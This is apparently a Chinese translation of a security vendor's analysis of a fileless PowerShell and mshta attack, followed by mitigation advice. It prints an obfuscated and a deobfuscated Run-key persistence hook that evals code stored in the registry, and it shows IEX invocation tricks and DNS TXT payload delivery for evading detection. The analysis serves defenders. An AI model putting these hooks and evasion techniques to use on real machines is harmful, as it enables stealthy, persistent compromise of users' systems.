PowerShell是網絡安全專家、IT管理員以及黑客們最喜歡的工具之一,這一點是毋庸置疑的。PowerShell的可擴展性和其強大的功能讓微軟操作系統的可控制程度上升到了一個前所未有的等級。簡單說來,Powershell 是運行在windows機器上實現系統和應用程序管理自動化的命令行腳本環境,而它可以算是顛覆了傳統的命令行提示符-cmd.exe。
在Binary Defense(一家專業從事網絡安全業務的公司)中有著大量PowerShell的擁護者,無論是進行自動化測試也好,還是進行復雜的程序分析也罷,PowerShell都是他們的首選工具。除此之外,像PowerShell Empire以及PowerSploit這樣的工具也是網絡安全研究領域以及黑客的摯愛。
攻擊分析
我們通常可以看到很多利用PowerShell的攻擊向量,而且在昨天晚上,我們的終端安全檢測與應急響應平臺(Vision)檢測到了一個使用了多種方法來實現攻擊持久化并規避傳統反病毒技術的攻擊事件。它所使用的第一種方法是讓目標用戶訪問一個需要升級Adobe Flash瀏覽器插件的網站,而攻擊者在這里需要使用到mshta.exe(一種HTA攻擊方法),MSHTA.exe是微軟的一個合法程序,它可以在任何瀏覽器中隨時調用。但是在大多數情況下,它并不是合法的擴展,因此我們建議用戶在配置防火墻時屏蔽所有的HTA擴展。因為HTA文件允許我們調用任意的命令,而攻擊者同樣可以做到這一點,所以啟用HTA擴展很有可能讓我們的主機遭到攻擊。
需要注意的是,這個攻擊向量在很多年前就已經嵌入在了Unicorn和社會工程學工具套件(SET)之中了。

此時,如果系統彈出了提示框,而攻擊者又根據提示框中的信息進行了操作(打開-open),那么目標用戶將會被攻擊。攻擊向量可以是一個VBS下載器、PowerShell,或者是一段下載后自動執行的惡意代碼。只要用戶點擊了“Open”,任何事情都有可能會發生。但是在我們近期所研究的攻擊案例中,攻擊者使用了HTA攻擊方法作為攻擊的初始階段和Dropper。
頁面會發起一個惡意HTA,當用戶打開了這個HTA之后,Vision會立刻檢測到其惡意行為:

當文件被打開之后,一段PowerShell命令將會被執行。一般情況下攻擊者會通過PowerShell發動SYSWOW64降級攻擊,這種攻擊向量可以將進程降級為32位進程,并實現shellcode注入攻擊,而且Unicorn/SET多年以來一直都在使用這種技術。
在對具體的日志記錄進行了分析之后我們發現,很多攻擊者會使用Invoke-Expression(IEX)來提取出特定的注冊表鍵,并實現持久化鉤子。在PowerShell的初始調用中,變量名和持久化鉤子都經過了混淆處理。大致如下圖所示:

在這種攻擊中,注冊表入口位于CurrentVersion\Run,而這里也是持久化鉤子的起始位置。
日志信息如下:
混淆后的持久化注冊表鉤子:
HKEY_USERS:SANITIZED\Software\Microsoft\Windows\CurrentVersion\Run
"C:\Windows\system32\mshta.exe" "about:c1hop="X642N10";R3I=new%20ActiveXObject("WScript.Shell");QR3iroUf="I7pL7";k9To7P=R3I.RegRead("HKCU\\software
\\bkzlq\\zsdnhepyzs");J7UuF1n="Q2LnLxas";eval(k9To7P);JUe5wz3O="zSfmLod";"
反混淆后的持久化注冊表鉤子:
WScript_Shell_Object = new ActiveXObject("WScript.Shell");
Registry_Key_Value=WScript_Shell_Object.RegRead("HKCU\\software\\bkzlq\\zsdnhepyzs");
eval(Registry_Key_Value);
這種就是我們所稱之為的無文件攻擊向量,因為它不需要向硬盤寫入任何內容,它唯一需要的就是注冊表鍵,并通過運行注冊表鍵來在目標系統中實現持久化注入。在我們的攻擊場景中,mshta.exe將利用嵌入了PowerShell指令的WScript.shell來調用特定的注冊表鍵,而且傳統的反病毒產品以及目前絕大多數安全解決方案都無法檢測到這種無文件的持久化攻擊。
利用原生的PowerShell以及mshta,攻擊者將可以通過傳統的感染技術來實現系統入侵,而且完全不需要下載額外的惡意代碼或安插系統后門。在此過程中,大多數攻擊者會選擇使用Invoke-Expression,但是具體的攻擊實現方法也是多種多樣的。近期,安全研究專家Vincent Yiu(@vysecurity)演示了一種無需調用IEX和ExcodedCommand就可以繞過傳統檢測技術的攻擊方法,而且目前很多高級攻擊者也在廣泛使用這種技術。有關這項技術的更多詳細內容請參考Vincent Yiu的Twitter:

在這個例子中,網站的TXT記錄將會下載PowerShell命令,并通過nslookup在系統中執行這些命令。這也就意味著,我們可以將命令注入在DNS的TXT記錄中,然后讓系統自動執行這些PowerShell命令。Vision所檢測到的一種惡意行為模式如下:

如果檢測到了nslookup或者代碼提取行為,那么Vision將能夠迅速識別出PowerShell代碼中的nslookup請求以及TXT記錄中的惡意代碼。需要注意的是,Vencent Yiu所提供的方法只能執行一個文件而無法執行代碼本身,因此我們還需要其他的命令從nslookup TXT記錄中提取出代碼并執行它們。
安全研究專家Daniel Bohannon給出了一種不同的實現方法,但這種方法仍然需要用到IEX。演示樣例如下:
$nslookupResult1 = 'iex'
$nslookupResult2 = 'Write-Host THIS IS MY ACTUAL PAYLOAD -f green'
. $nslookupResult1 $nslookupResult2
or even better:
$nslookupAllInOne = @('iex','Write-Host ALL IN ONE -f green')
. $nslookupAllInOne[0] $nslookupAllInOne[1]
下圖為Vision所識別出的一種特定攻擊模式:

應對方案
對于那些沒有使用Vision代碼防御平臺的企業來說,可以采用以下幾種實踐方法來防止攻擊者利用PowerShell攻擊企業的網絡系統:
限制PowerShell命令的字符長度;
限制PowerShell的語言模式;
啟用增強型PowerShell;(參考資料);
定期執行威脅檢測以盡早識別出可疑活動;
審查DNS日志并尋找可疑的控制命令和DNS請求;
搜索可疑的System.Management.Automation.dll以及System.Management.Automation.ni.dll
利用類似Sysmon這樣的工具來檢測和記錄可疑進程;
在正常情況下禁止普通用戶執行PowerShell命令(AppLocker +Device Guard可以防止普通用戶使用PowerShell);
監控powershell.exe的子進程以及可能存在的鉤子;
搜索powershell.exe派生出的32位PowerShell子進程,這也是一種shellcode注入技術的典型檢測方法;
更多內容請參考Matthew Graeber的Twitter;

總結
由于安全研究人員和網絡攻擊者會遇到越來越先進的PowerShell以及相應的檢測繞過技術,那些基于模式識別的傳統檢測方法已經不能再僅僅依靠惡意PowerShell來完成檢測了,而且隨著代碼混淆技術的不斷發展,安全防御人員的工作更是難上加難。因此,我們只有盡早地識別出可疑的行為模式,才能夠降低個人用戶和企業用戶受到攻擊的可能性。
|